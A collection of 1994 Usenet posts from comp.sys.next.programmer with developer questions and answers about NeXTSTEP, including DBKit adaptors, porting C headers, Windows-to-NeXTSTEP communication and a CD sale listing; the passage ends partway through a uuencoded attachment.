Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Messaging to Terminal.app? In-Reply-To: alvin@cheddar.cse.ucsc.edu's message of 4 Jan 1994 23:33:55 GMT Message-ID: <BYER.94Jan6095240@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2gcud3$bpl@darkstar.UCSC.EDU> Date: Thu, 6 Jan 1994 17:52:40 GMT In article <2gcud3$bpl@darkstar.UCSC.EDU> alvin@cheddar.cse.ucsc.edu (Alvin Jee) writes: > I would like to have my app open up a Terminal window when requested > and run some shell command like 'ls' or something in the new > Terminal window. ProjectBuilder does this when you hit the Debug > button and it fires up gdb. Does anybody know how this is done? > I could fire up a new Terminal.app everytime, but that's not > very elegant. Here is the relevant Speaker message. Put this into a "Shell.msg" file and follow the examples on using Speaker/Listener. - runCommand:(char *)str1 usingShell:(char *)a inFolder:(char *)str2 windowTitle:(char *)str3 closeOnExit:(int)doClose; -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: lunde@cs.tu-berlin.de (Lars Grupe) Newsgroups: comp.sys.next.programmer Subject: Re: gdbmAdaptor: (does it work with 3.2?) Date: 6 Jan 1994 18:50:03 GMT Organization: Technical University of Berlin, Germany Message-ID: <2ghmgr$g6s@news.cs.tu-berlin.de> References: <MMSKBUUB@gwdu03.gwdg.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels) writes: >Hello, >I got gdbmAdaptor, and tried to use it. Apart from >some nervous breakdowns of DBModeler.app it worked >fine to produce the model. BTW: I also got a file which was called something like gdbmAdaptor.MAB.tar.gz ~~~ but installing it on an Intel machine revealed that it only contains m68k code... Where do I get an Intel version of this adaptor? Thanx -- ------------------------------------------------------------------------------- Lars Grupe UID lunde <lunde@cs.tu-berlin.de> Technische Universitaet Berlin -------------------------------------------------------------------------------
From: ajetha@giants.comnetix.com (Alykhan Jetha) Newsgroups: comp.sys.next.programmer Subject: getting local machine's ethernet address Date: 6 Jan 1994 14:20:45 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401062014.AA02128@giants.comnetix.com> Folks, I'm trying to get the localhost's ethernet address programmatically on NS/FIP. I realize you can get the address from the master netinfo database, but for this particular application the network can die at any moment thus rendering the netinfo call useless. I have also looked at some of the ether function calls, they provide other host's ethernet address but not the localhosts. I also realize that one could parse it out of the /usr/adm/messages file, however, I don't particularly like that scenario. Is there anything that I'm missing?? Thanks in advance AlyKhan Jetha Comnetix Computer Systems Inc.
From: jjobe@mrj.com (Jason Jobe) Newsgroups: comp.sys.next.programmer Subject: Using Bundles Date: 6 Jan 1994 14:33:08 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <199401062029.PAA23476@frog.mrj.com> Load each class one at a time. Of course you have to handcraft your own bundles but it will work. Jason
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Are structs evil for MAB typedstreams? Message-ID: <1994Jan6.163017.282@afs.com> Sender: greg@afs.com Date: Thu, 6 Jan 1994 16:30:17 GMT Assume a Tab is a simple two-part struct: typedef struct _Tab { short type; NXCoord value; } Tab; and you have malloced spac to hold an array of 4 Tabs. "tabs" is a pointer to that space. With that background, this function in a write: method NXWriteTypes(stream, "[4{sf}]", tabs); reads back in correctly on the original HW architecture, but not on the other flavor. Is that right? I don't remember this being documented as a limitation on HW-portable typedstreams. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
From: bill@alamut.cognet.ucla.edu (William M. Eldridge) Newsgroups: comp.sys.next.programmer Subject: Re: How Do I Untar A File? *.???.z Date: 6 Jan 1994 13:05:47 -0800 Organization: UCLA Cognitive Science Research Program Message-ID: <2ghufb$kb3@alamut.cognet.ucla.edu> References: <2966237727.6.p00378@psilink.com> <zunger.757742193@ucsu.Colorado.EDU> >If the file is compressed otherwise (.gz, .zip, etc.) you'll need a custom >utility. Once you have a .tar file, For .gz, 3.2 comes with gzip/gunzip now. (Though there's a more recent release). -- Bill Eldridge bill@cognet.ucla.edu "Will hack life for food" 310-206-3960 (3987 fax) ..................
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Make a process core image & restore it Message-ID: <1994Jan6.154704.20094@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. Date: Thu, 6 Jan 1994 15:47:04 GMT Does anyone know of a way to make a core file image of a running program, then restart the core file at a later time? ... jeff
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Beginner Question with DBKit and gdbmAdaptor Date: 6 Jan 1994 14:23:03 GMT Organization: Primitive Software Ltd. Message-ID: <2gh6s7$ksq@gpo.gb.swissbank.com> References: <1994Jan4.192908.1903@il.us.swissbank.com> In article <1994Jan4.192908.1903@il.us.swissbank.com> tyler@vanguard.com (Tyler Gingrich) writes: > Wes Spears writes > > I have successfully built a model using this adaptor and DBModule. But, > > when I go into IB and try to actually do any thing, nothing shows up in > > the DBModule browser. > > > > You need to place your model in one of the "Magic Locations" where IB > looks for models. How do you create entities using DBModeler? I mean create them in the actual database, not just in the model file. Dave Griffiths
From: william@pinoko.berkeley.edu (William E. Grosso) Newsgroups: comp.sys.next.programmer Subject: Re: Stretching lines between windows like IB? Date: 6 Jan 1994 22:13:40 GMT Organization: University of California, Berkeley Message-ID: <2gi2ek$sks@agate.berkeley.edu> References: <1994Jan5.192528.13914@bozell.com> Jeff Martin writes > In article <1994Jan4.232736.20867@cs.cornell.edu> bau@cs.cornell.edu > (David Bau) writes: > > When making connections in IB by control-dragging, you get to > > drag a nice solid line between windows > > [stuff deleted] > > You are correct in assuming the lines are small windows... > >[stuff deleted] In fact, there is a palette (ConnectorPalette ?) on the archives which contains code to do this. The palette probably needs some fixing (if I recall correctly, it's 2.x code), but it is nonetheless kind of cool (and comes with a magazine article which explains everything). Bill Grosso
From: ajetha@giants.comnetix.com (Alykhan Jetha) Newsgroups: comp.sys.next.programmer Subject: Communicating from DOS/Windows to NEXTSTEP Date: 6 Jan 1994 16:22:14 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401062050.AA02223@giants.comnetix.com> Folks, We need to find some way of communicating from a DOS/Windows application to a NEXTSTEP application for some cooperative processing. It is ironic that we won this contract besed on a NEXTSTEP prototype that we did, the customer however did not want to deploy NEXTSTEP on 4000 stations, therefore we where asked to build the application on Gupta for Windows. These yo-yos are now finding out that what is possible in NEXTSTEP is not so easy or possible in Windows (hate to say it, but, WE TOLD YOU SO). It's a good thing we stated that in our contract:-) Anyways, enough religion.... What we where thinkin of doing is: Communicating from the Windows application to a DDE to NEXTSTEP. I'm from the NeXT side of the house and do not know mush about Windows DDE so bear with me. Since I'm just starting this investigation, I would like to get your opinions on just how this could be done or if there is something out there already. Thanks in advance. AlyKhan Jetha Comnetix Computer Systems Inc. PS> If you would like a summary, please let me know.
Newsgroups: comp.sys.next.programmer From: ccreado@nwk92_ocachi (Craig Creado) Subject: Screen Fonts Message-ID: <1994Jan6.225436.15305@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Thu, 6 Jan 1994 22:54:36 GMT Given a screen font, is there any way to get back the original font object? i.e., if I have id myFont = [Font newFont: "Helvetica" size: 12]; id screenFont = [myFont screenFont]; then, later on, only knowing about screenFont, can I recover myFont? Thanks, Craig. -------------------------------------------------------------------------- All opinions are mine and not of my employer. Really. --------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Re: gdbmAdaptor: (does it work with 3.2?) Message-ID: <1994Jan6.203053.7644@planon.qc.ca> Sender: laurent@planon.qc.ca References: <MMSKBUUB@gwdu03.gwdg.de> Date: Thu, 6 Jan 1994 20:30:53 GMT In article <MMSKBUUB@gwdu03.gwdg.de> trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels) writes: > Hello, > > I got gdbmAdaptor, and tried to use it. Apart from > some nervous breakdowns of DBModeler.app it worked > fine to produce the model. Everything worked in IB > when I created the .model file from the .modela > ASCII representation. But in IB's test mode I get > the following message: > > Jan 6 16:13:50 desdemona InterfaceBuilder[8828]: > Error loading /Users/trebels/Library/Adaptors/gdbmAdaptor.adaptor/gdbmAdaptor > Jan 6 16:13:50 desdemona InterfaceBuilder[8828]: > rld(): multiple definitions of symbol _VERS_NUM > > So I would like to know whether this behaviour is something > special here or a general bug. > > Ciao, Stephan > Would like to add that we have exactly the same problem, here. We're using gdbmAdaptor 0.2, under NS 3.2 for Moto. Any help, pointer, info would be appreciated. Thanks in advance! Laurent. -- ****************************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Help needed compiling non-next C code. Date: 7 Jan 1994 00:29:17 +0100 Organization: University of Bergen Message-ID: <2gi6sd$k71@alf.uib.no> Hi. I have a program (LifeLines, a genealogy program) for unix written in "generic" ANSI C. Well, almost. I'm getting some compiler warnings and errors I don't know enough about to fix, but I'm told the fix is actually simple. Anyone here have time to look over a few lines with me? Details follow, otherwise hit 'k'... The first deals with an included header that doesn't work: <varargs.h> The advice I got was: Ah, varargs. Well, there's two ways of handling routines with a variable number of arguments, the old way and the new way. Since I use an old compiler I do it the old way. Your system wants it done the new way. Do you have any C programmers around you can talk to? There is only one or two routines in screen.c that have a variable number of arguments, and someone who knows ANSI C could change them for you. I think the new way uses the header file <stdarg.h>, but I have never used it. Look up variable arguments in your C developers reference material. Sorry I could not be of more immediate help. If you remain stuck let me know, and I'll see if I can find an ANSI C compiler somewhere to work out the problem. The other is also a header file, called: <unistd.h> I don't have it, nor do I know what it does. I was sent a copy from a SysV Rel 3 machine, but haven't tried it yet, I'm not sure if its harmless to mix and match such things (hey, I'm no programmer, I have my hands full with the drum machine ;-) E-mail suggestions would be appreciated. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.programmer From: flash!jon@dsi.com Subject: Re: gdbmAdaptor: (does it work with 3.2?) Message-ID: <CJ8HoA.G1@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? References: <1994Jan6.203053.7644@planon.qc.ca> Date: Fri, 7 Jan 1994 00:36:10 GMT <Much wailing and gnashing of teeth deleted> The solution I found (at least for m68k users) is to run it through strip -u. I do have a question though, which is probably a generic DBKit question. When setting up a database in DBModeler, what class and format should be used if you want to use a DBImageView? Thanks- Jon --
From: nika!ken@uunet.UU.NET (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: Re: Communicating from DOS/Windows to NEXTSTEP Date: 6 Jan 1994 19:39:01 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401070133.AA21336@nika> AlyKhan, > We need to find some way of communicating from a DOS/Windows application to > a NEXTSTEP application for some cooperative processing. I assume you're not talking about a Windows app running under SoftPC and a NeXTSTEP app on the same Intel box, but rather two machines on the same network. There are a bunch of TCP/IP implementations for Windows, most with Socket development libraries, and some with ONC/RPC toolkits. This may be obvious, but you can write RPC client/server apps where the client and server can be either MS Windows or NeXTSTEP - I've experimented with it, and it works. Or, you can write to the socket layer if that suits your application better. A note on SoftPC/NeXTSTEP - SoftPC on NS/Intel allows the user to use Novell's Lan Workplace for DOS (happens to be the TCP/IP for DOS/Windows that I've used for the RPC stuff) to make TCP/IP connections. I've been meaning to test this, but... it should "just work" so that you could ,for example, write a Windows app that makes RPC client requests to a NeXTSTEP server process - both on the same box. Anyone see why this might not be possible? Whether you're running under SoftPC, or just Windows, RPC and Sockets might be a couple of ways to get the necessary plumbing in place to do what you need. > What we where thinkin of doing is: Communicating from the Windows > application to a DDE to NEXTSTEP. I believe that your DDE server could just make RPC's or use a socket to talk to the NeXTSTEP app. Good Luck Ken Pelletier (ken@nika.com) NiKA Software, Inc. Chicago, IL AlyKhan Jetha Comnetix Computer Systems Inc.
From: seanw@codex.com.au (Sean Woodhouse) Newsgroups: comp.sys.next.programmer Subject: Problem with CustomAssociations... Date: 7 Jan 1994 02:08:46 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2gig7e$a5u@yarrina.connect.com.au> Keywords: Associations, DBKit Hi all, I've been having problems with the following example code. It's supposed to allow you to make a matrix of radio buttons synchronize with the boolean data type of a database, but for some reason the association:getValue: method is never called. Has anyone else experienced this?? BTW the association:setValue works OK. Thanks Sean @implementation Matrix(RadioAssociation) /* Select the matrix cell whose tag value matches the integer attribute of the * DBModule */ - association:association setValue:(DBValue *)value; { [[association destination] selectCellWithTag:[value intValue]]; return self; } /* The DBFetchGroup/Module attribute associated with this radio button will * get the tag value of the currently selected cell. */ - association:association getValue:(DBValue *)value; { id selcell; if (selcell = [[association destination] selectedCell]) [value setIntValue:[selcell tag]]; return self; } @end --------------------------------------------------------- Sean Woodhouse Software Engineer Xedoc Software Development Pty Ltd, Melbourne AUSTRALIA Phone: +61 3 696 2490 Facimile: +61 3 696 6757 Internet : seanw@xedoc.com.au Street: 222 Park St, South Melbourne, VIC 3205 AUSTRALIA
From: bfriedma@bfriedman-ss2.cisco.com (Barry Friedman) Newsgroups: comp.sys.next.programmer Subject: Re: Beginner Question with DBKit and gdbmAdaptor Date: 7 Jan 1994 01:25:57 GMT Organization: cisco Systems, Menlo Park, California, USA Message-ID: <2gidn5$t0q@cronkite.cisco.com> References: <1994Jan4.192908.1903@il.us.swissbank.com> <2gh6s7$ksq@gpo.gb.swissbank.com> In article <2gh6s7$ksq@gpo.gb.swissbank.com> griffid@flash_heart (Dave Griffiths) writes: > >How do you create entities using DBModeler? I mean create them in the >actual database, not just in the model file. > >Dave Griffiths DBModeler cannot change anything on the database, it only models what is already there. There is a product called SchemaE that will modify your database AND output DBModel files and is nicer to use than DBModeler (uses real ER diagrams). I think the company that makes it is called Schema Research. I played with SchemaE a bit at a conference and it seemed pretty nice. Barry ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Barry Friedman | heisenbug: from Heisenberg's Uncertainty Principle. Cisco Systems Inc | A bug that disappears or alters its behavior bfriedman@cisco.com | when one attempts to probe or isolate it.
Newsgroups: comp.sys.next.programmer From: balu@jensen.cc.brandeis.edu (t.balasubramanian) Subject: Help --- TimedEntry Message-ID: <1994Jan7.023450.5203@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Fri, 7 Jan 1994 02:34:50 GMT Hi, We are writing a program that performs some task periodically - Using NXAddTimedEntry() is not good enough , because we need very accurate timing. Also this timing should not be affected if one chooses to run some other application when this particular program is running. I would greatly appreciate if anyone who knows how to go about doing this reply by email to balu@jensen.cc.brandeis.edu Thanks balu@jensen.cc.brandeis ( NeXT Mail accepted)
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Writing a Mach Pager Date: 6 Jan 1994 19:35:43 -0800 Message-ID: <2gilaf$4u0@ursula.ee.pdx.edu> References: <1994Jan05.153330.34051@rchland.ibm.com> <1994Jan6.003645.1081@prim.demon.co.uk> Ok, the memory_* functions are missing with NEXTSTEP, and external pagers aren't supported. What about vm_map? I don't see the (mig) _Xvm server interface function in the kernel, but there are lots of vm_map* functions. vm_allocate is presumably just a convience interface to vm_map in `real mach'. Might there be a relatively easy way to setup an equivalent function to vm_map? Marcus Daniels
From: "James Gaines" <p00378@psilink.com> Newsgroups: comp.sys.next.programmer Subject: NS v3.2, v3.1 & v3.0 For SALE!!! ... REDUCED!!! Date: Thu, 06 Jan 94 22:09:32 -0600 Organization: GCC Message-ID: <2966998000.4.p00378@psilink.com> I have three (3) versions of NeXTstep OS CDs for sale: 0) - NeXTstep for Intel v3.2 a. One (1) User CD b. One (1) Developer CD c. Accompanying Material: * "3.2 Release Notes" * "Upgrading To NeXTstep Release 3.2" * "Installing & Configuring NeXTstep Rel 3.2 For Intel Processors" * "3.2 Supplemental Release" * All in original packing Price: $650.00 1) - NeXTstep for Intel v3.1 a. One (1) User CD b. One (1) Developer CD Price: $350.00 OBO 2) - NeXTstep for Motorola v3.1 a. One (1) User CD b. One (1) Developer CD Price: $300.00 OBO 3) - NeXTstep for Motorola v3.0 a. One (1) User and Developer CD Price: $150.00 OBO All versions come with the full and complete versions. In other words these are not student, demo or evaluation versions. Also, all CDs may be registered to the new owner without hassle or apprehension. Prices do not include shipping which will happen via Federal Express 2nd Day C.O.D. Thanks. Peace, James Message-Id: <2966768590.3.p00378@psilink.com> Date: Tue, 04 Jan 94 06:29:59 -0600 From: "James Gaines" <p00378@psilink.com> Organization: GCC Subject: NS 3.1 & 3.0 FOR SALE! Newsgroups: comp.sys.next.software I have two versions of NeXTstep OS CDs for sale: 1) - NeXTstep for Intel v3.1 (WHITE HARDWARE) a. One (1) User CD b. One (1) Developer CD Price: $600.00 or OBO 2) - NeXTstep for Motorola v3.1 (BLACK HARDWARE) a. One (1) User CD b. One (1) Developer CD Price: $550.00 or OBO 3) - NeXTstep for Motorola v3.0 (BLACK HARDWARE) a. One (1) User CD b. One (1) Developer CD Price: $200.00 or OBO 4) - NeXTstep v3.1 Original Hardcopy Documentation a. One (1): Received at 1993 SF NeXTExpo Price: $200.00 or OBO All items above are the full and complete versions. In other words these are not student, demo or evaluation versions. Also, all CDs may be registered to the new owner without hassle or apprehension. Prices do not include shipping which will happen via Federal Express 2nd Day C.O.D. Thanks. Peace, James
Newsgroups: comp.sys.next.programmer From: paul@phoenix.Princeton.EDU (Paul Lansky) Subject: Control characters in subprocess object Message-ID: <1994Jan7.025005.24272@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Fri, 7 Jan 1994 02:50:05 GMT The SubProcess example in /NextDeveloper/Examples/UNIX/SubProcess throws up a shell. How do I get this shell to recognize control characters (control-C, control-Z etc)? Thanks, in advance Paul Lansky paul@princeton.edu p.s. I suspect I have to read the stty and tset man pages carefully, but I am hoping for a quicker fix.
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.programmer Subject: HELP: Multiple Declarations of maxValue in Slider.h Date: 7 Jan 1994 05:50:48 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <2git7oINNi1k@srvr1.engin.umich.edu> I have a subclass of View (NodeView). The IB has a slider in it. In one of NodeView's methods I retrieve the maxValue of the slider as in: id xSlider; double xMaxValue; xMaxValue = [xSlider maxValue]; When I compile it says: NodeView.m:36: warning: multiple declarations for method `maxValue' /NextDeveloper/Headers/appkit/Slider.h:20: warning: using `-(double)maxValue' /NextDeveloper/Headers/soundkit/SoundMeter.h:57: warning: also found `-(float)maxValue' What is that all about? I don't even use any SoundMeter stuff!!??!!? I don't even have a method called minValue or maxValue in my code. I am just messaging the Slider's method. -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 wjabi@libra.arch.umich.edu NeXTMail-friendly
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: RTFSyntax -- a RTF color syntax highlighter Date: 7 Jan 1994 05:50:38 GMT Organization: University of Maryland, College Park Message-ID: <2git7e$6vk@cville-srv.wam.umd.edu> Introduction ------------ RTFSyntax is an application for programmers that provides a service to color syntax highlight rich text. By color syntax highlighting, I mean automatically changing the color and font of the selected rich text using regular expressions previously defined in RTFSyntax. For example, you can use this program to make all of your Objective-C comments appear in red Helvetica 12-point italics. Because you define what you want colored using regular expression, you can completely customize how your RTF code looks. Where to get it --------------- A MAB version of RTFSyntax and full source code is in the submissions directory at cs.orst.edu and sonata.cc.purdue.edu. Please let me know if you find RTFSyntax useful. Ross. -- Ross Cutler University of Maryland, College Park Internet: rgc@wam.umd.edu
From: blanford@spf.trw.com (Ronald P. Blanford) Newsgroups: comp.sys.next.programmer Subject: Re: Need help with Oracle and DBkit Date: 7 Jan 1994 06:40:03 GMT Organization: TRW Systems Development Division Message-ID: <2gj044$pqb@deneva.sdd.trw.com> References: <Jan5.224008.33182@acs.ucalgary.ca> Whoops, I need to correct my earlier post. The service address is 1525, not 1521. Andrew MacRae got it right in his excellent summary. -- Ron blanford@spf.trw.com
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Help needed compiling non-next C code. Message-ID: <1994Jan7.074523.23335@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <2gi6sd$k71@alf.uib.no> Date: Fri, 7 Jan 1994 07:45:23 GMT [Inappropriate crossposting to comp.sys.next.sysadmin removed] In article <2gi6sd$k71@alf.uib.no> edmtl@alf.uib.no (Thor Legvold) writes: >The first deals with an included header that doesn't work: ><varargs.h> >The advice I got was: > Ah, varargs. Well, there's two ways of handling routines with a >variable number of arguments, the old way and the new way. Since I use an >old compiler I do it the old way. Your system wants it done the new way. >Do you have any C programmers around you can talk to? There is only one or >two routines in screen.c that have a variable number of arguments, and >someone who knows ANSI C could change them for you. I think the new way >uses the header file <stdarg.h>, but I have never used it. Look up >variable arguments in your C developers reference material. Sorry I could >not be of more immediate help. If you remain stuck let me know, and I'll >see if I can find an ANSI C compiler somewhere to work out the problem. Here's an excerpt from an unannounced software package (shh!) that illustrates what's involved in making ANSI "standard" C using variable argument lists somewhat portable: /* ... */ #ifdef NX_COMPILER_RELEASE_3_0 #ifdef __STRICT_ANSI__ #include <ansi/stdarg.h> #define STDARG_RELIGION 1 #else #include <bsd/varargs.h> #define VARARGS_RELIGION 1 #endif #else /* NX_COMPILER_RELEASE_3_0 */ #ifdef __STRICT_ANSI__ #include <stdarg.h> #define STDARG_RELIGION 1 #else #include <varargs.h> #define VARARGS_RELIGION 1 #endif #endif /* NX_COMPILER_RELEASE_3_0 */ /* ... */ /* Draw polygon in current color/line-style */ #ifdef STDARG_RELIGION void rip_polygon(unsigned int npoints, ...) #else void rip_polygon(va_alist) va_dcl #endif { va_list ap; #ifndef STDARG_RELIGION unsigned int npoints; #endif ripio_command(10); (void)ripio_putchar('P'); ripio_cmd_chars++; #ifdef STDARG_RELIGION va_start(ap, npoints); #else va_start(ap); npoints=va_arg(ap, unsigned int); #endif ripio_meganum(npoints, 2); while (npoints>0) { ripio_meganum(va_arg(ap, unsigned int), 2); /* xn */ ripio_meganum(va_arg(ap, unsigned int), 2); /* yn */ --npoints; } va_end(ap); if (ripio_autoflush) ripio_flush(); } >The other is also a header file, called: ><unistd.h> > >I don't have it, nor do I know what it does. Then maybe you don't need it! > I was sent a copy from >a SysV Rel 3 machine, but haven't tried it yet, I'm not sure if its >harmless to mix and match such things (hey, I'm no programmer, I >have my hands full with the drum machine ;-) It's not only NOT harmless, it's very, very bad. Don't do this. Every couple of weeks a question like this comes up, and every time I have to repeat the same form response: C programs don't want _specific_ .h files-- C programs want things _defined in_ .h files. REMOVE the offending #include line and try compiling again. See what--if anything--it complains about. If you get errors about undefined stuff, search through the .h files you do have (e.g. <bsd/sys/fcntl.h>), because a simple substitution is often all that's needed. (Note: if you can't find <bsd/unistd.h>, you're probably running something earlier than NEXTSTEP 3.1; in the future, please mention which Software Release you use.) -=EPS=-
Newsgroups: comp.sys.next.programmer From: stan@cs.SFSU.EDU (Stan Osborne) Subject: Re: SchemaE; was: Beginner Question with DBKit and gdbmAdaptor Message-ID: <1994Jan7.081148.24942@csus.edu> Keywords: database ER-diagrams SchemaE Sender: news@csus.edu Organization: San Francisco State University References: <2gidn5$t0q@cronkite.cisco.com> Date: Fri, 7 Jan 1994 08:11:48 GMT In article <2gidn5$t0q@cronkite.cisco.com> bfriedma@bfriedman-ss2.cisco.com (Barry Friedman) writes: > In article <2gh6s7$ksq@gpo.gb.swissbank.com> griffid@flash_heart (Dave Griffiths) writes: > > There is a product called SchemaE that will modify your > database AND output DBModel files and is nicer to use > than DBModeler (uses real ER diagrams). SchemaE does let you modify the database. It has a nice NEXTSTEP interface, but is does not use real ER diagrams. It has its own way of drawing (and editing) the database definition. SchemaE is a tool for the DBA who already has a database. It is not a tool for designing new databases. ER diagrams are a way to analyze possible database designs. When you finish the analysis process the ER diagram becomes the representation of the actual design. SchemaE would be really useful in situations where there is no ER diagram to show the design, but there is a database that you need to quickly understand and modify. It is a tool for looking directly at the database and making changes to the database. It could be used to design new databases, but for analysis of possible designs it is not as powerful as ER diagrams. SchemaE may only work with Sybase databases. For accurate authoritative information and current prices, contact: Lowell Schneider Schema Research lowell@lsc.com 415 368 8477 -- Stan Osborne, Computer Science Department, SFSU Internet: stan@cs.sfsu.edu Voice: (415) 338-2168
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: AddressBook -- standards -- api Message-ID: <1994Jan7.114059.10182@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <1994Jan6.151558.15977@FreemanSoft.com> Date: Fri, 7 Jan 1994 11:40:59 GMT In article <1994Jan6.151558.15977@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: -> As a follow up to a posting in comp.sys.next.misc: -> -> Has anyone seen documentation on the different fields -> that should be supported in the AddressBook.addresses? -> It seems that there was an attempt to implement an -> extensable system. But, I have seen no documentation -> to this effect. As an example, there is a "Type" field -> that is set to "AddressBook". There are also fields for -> the address book layout. Even better, has anyone seen -> an api for writing into this thing? Attempts some months ago to test the extension and usability of Address.book were met with the successful crash and burn of Workspace. Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: unistd.h. Message-ID: <1994Jan7.115733.10267@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <2gi6sd$k71@alf.uib.no> Date: Fri, 7 Jan 1994 11:57:33 GMT In article <2gi6sd$k71@alf.uib.no> edmtl@alf.uib.no (Thor Legvold) writes: -> Hi. -> -> I have a program (LifeLines, a genealogy program) for -> unix written in "generic" ANSI C. Well, almost.... From what I've seen /usr/include/bsd/unistd.h is present in 3.1 as are a variety of POSIX implementation headers which are not enabled until 3.2 Bruce Gingery bruce@TotSysSoft.com
From: sopitz@conextions.com (Scott G. Opitz) Newsgroups: comp.sys.next.programmer Subject: Re: Communicating from DOS/Windows to NEXTSTEP Date: 7 Jan 1994 08:43:18 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401071401.AA00864@conextions.com> begin 666 .tar.35.Re__Communicating_fr.attach M'YV0:=R0*8/'A1PZ9@`H7,BPH<.'$"-*G$BQ(HB+-FC0``'@(L88'#U>A!%2 MY,49,F;8N%BC1@R4-EJJ]%C#Q@T;'2OJW,FSI\^?0(,*'4JTJ-&C2)'NX7+0 M#`PN8=S,2;/4S!LW=.B(8</%:=<Y=]+,F0,"21DV=LK023,FS(X^"KBT"2/G M#)L8,F#$G5M7#EZ]7.#0)<.%#IX:,V84QA,#ALW%,6S`B+%8QLL:E6W8P+$8 M)0P9G6^H7$Q#QHVGAFG@@*'8,.(9-[H^%?,TS=,Z;-Q<+?-5!HVN8YZ.<0J" MBX(@2E@8-YX$!)HP9)R7&0Q"3ITV;^2`H/.<#H@D4M.<<9,FC'/H(,CL!C'G M39LR(-Z8V8Y&+(@[V=>`$%/'^W.RNGF7AUH@B`"''&^04<<8:^E1!ADB@)`& M'2Y<!$49<CP'!UEYO%$'"&VY(1T;<-!71AL@J%'''&N9D8>)$KJ1%HOO8>7" M<@I,,<8;68'P!!P3ZF'<$+OAL=95<[#PG1MCW!C7DW&)`8(099P1$`A6R7'' M8`^"\-Y889Q1A@[&14F2<42$0<>8("1`!1IU*+F2$E&!$$,..6P40PTZU`"# M#B^!T`(,?CZE@!$(MJ$#"&&HH=9S0%@9%1USN+!C&VZHE49!EX*`0A!LY+'& M<R(J\6@8*1A'Q1N+9FID"P>^<0808PC6Y)9SU.?&&71<Y<*#<8+H'APMS)'' M'"VX2@>L")XA1QAMO"<'K97V1U`8E0)KW!1UB.$H@XL2&6T=Y+6UUJY8)@H" M$4],\<(5`:EW!UF]@N!$$5A0,04514"!HQ%OL+%&DCA>`5^F7=9K1KSLN0?? MEB_*)^RXY:H9T!GINL?HNNV^&^\;\S(*!QQLL&7Q5=N]L?&]^>[;K\@DFWRD MB%DV_)ZP;\"!H<5I@1#K&&6,=7&%WWEG7QH(EDN?FO<]C#)W]NV(U;,,[A=T MERB;Q[*^_$+A,X*]TI&'SDM[=P=\9*1!AI+<P3?&BKU*ZQS(9:2E7=K1!7C? MI"FG5P;);[RXM<M>HTP##(BS1\?)4K&-!H9E9/GPPX_+`1^V:R2L,G]IL!%= MVS"7;&X:**-\1!UP+(YE=B#`*Q#(E5[TYM4@=-A"AV31=3#(6,9[<7S]E7U? 